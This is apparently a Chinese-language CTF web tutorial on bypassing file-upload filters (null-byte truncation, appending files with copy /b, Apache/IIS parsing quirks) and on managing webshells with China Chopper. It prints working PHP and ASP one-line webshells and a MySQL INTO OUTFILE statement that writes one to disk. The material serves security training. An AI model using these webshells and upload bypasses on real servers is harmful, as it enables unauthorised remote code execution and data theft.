1. 程式人生 > >CTF-web 第五部分 簡單的上傳繞過與中國菜刀

CTF-web 第五部分 簡單的上傳繞過與中國菜刀

對於上傳檔案來說,通常會採用的幾種方式如下:客戶端檔案型別檢測,客戶端檔案內容檢測,伺服器端檢測。對於這幾種檢測,我們通常使用的策略是使用burp suite進行修改,或者是對副檔名進行變化等。常用的場景是通過上傳漏洞,將一句話木馬傳到服務端,然後在進一步滲透伺服器。

(1)客戶端檔案型別檢測
php的exist file_get reaquire include等存在00截斷漏洞 php<5.3.4 magic_quote_gpc為off狀態,修改php檔案的副檔名,而後被攔截在bp中,簡單粗暴的修改請求資訊的檔案型別就可以,然後點選forward。

00截斷方法 對於lubr.php.jpg 將請求頭中的HEX資訊中的 .jpg的.(0x2e)改為 0x00 則原始資訊變為口,表示空 這樣讀取檔名是就被截斷了。

(2)內容檢測
在上傳檔案時會被檢測其中的內容,副檔名不起到至關重要的作用,我們使用windows的檔案捆綁技術 對檔案進行二進位制銜接。

copy /b 主檔案+追加檔案 目標檔案
將檔案命名為*.jpg.php 然後就可以成功上傳

(3)服務端副檔名檢測
利用apache和IIS6.0的解析漏洞

apache在對檔案進行解析時,對於自己已經設定的型別庫中沒有的檔案型別,會向前繼續尋找可解析型別 比如XXX.PHP.ABC
IIS6.0會將*.aps或asa資料夾裡的所有檔案都當做asp執行
所以簡單的方法就是將*.php的副檔名追加一個奇怪的就可以 *.php.abc

(4)例題


1.上傳繞過 http://ctf5.shiyanbar.com/web/upload/
要求必須上傳php檔案,但是被客戶端攔截不能上傳php,我們就需要根據上述的方法進行繞過

一句話木馬

一句話木馬的原理是使用特殊語句的php asp網頁,通過擁有一定威脅的函式 可以執行提交的程式碼,從而達到我們想要的目的
(1)php 一句話木馬

	1 <?php @eval($_GET["code"])?>    
	2 <?php @system($_POST["cmd"])?> 

功能僅限於驗證漏洞了,實際中太容易被查出出來

3.SQL寫一句話(MySQL)

select "<?php @system($_POST["cmd"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

(2)asp一句話木馬

 <%eval request("MH")%>
 <%execute request("MH")%> 功能僅限於驗證漏洞了,實際中太容易被查出出來

中國菜刀就是針對一句話木馬進行連線和影象化管理的軟體,新建連線需要的引數包括木馬網址 密碼 網頁型別 等

通常我們將一句話木馬傳到網站上去之後,我們需要記住上傳到的地址,然後使用中國菜刀進行連線
第一步
我們首先需要的是提交或者建立一個一句話木馬的網頁,使得菜刀可以連線
第二步
使用菜刀新建連線,開啟菜刀這個軟體,進入如下介面,右鍵點選“新增”;如下圖:
在這裡插入圖片描述
會彈出一個新增shell的對話方塊,指定一句話木馬的網址:http://*******.php 。
地址後面的小框輸入你的“口令”,也就是<?php eval($_POST['ee']); ?> 這裡的“ee”。下面配置項如果你知道使用者名稱密碼就填,不知道,不填,也不會影響檔案管理和虛擬終端這兩個功能,只是不能檢視資料庫
在這裡插入圖片描述
第三步
點選“新增”按鈕,成功後就會產生一條新的記錄,滑鼠右鍵點選連線後就可以進行操作了,可以進行檔案管理,資料庫管理等

上述的知識簡單的一句話木馬之類的,對於寫入一句話木馬還有其他的情況,比如注入和命令執行,使得我們都可以獲取webshell。

下面要說的就是中國菜刀的資料庫連線功能,中國菜刀支援各種資料庫,MYSQL,MSSQL,ORACLW,ACCESS等,在連線中我們只需要在對應的標籤中輸入資料庫資訊,就可以實現資料庫的遠端管理
資料庫管理:
單擊配置config | 新建連線時輸入資料庫資訊
在這裡插入圖片描述
在這裡插入圖片描述
在例項下拉框中我們可以選擇使用的模板,在下面的配置填寫資料庫賬號密碼等資訊
在這裡插入圖片描述
點選提交就可以連線資料庫了,左側出現庫,表等欄位,右側顯示詳情資訊。
在這裡插入圖片描述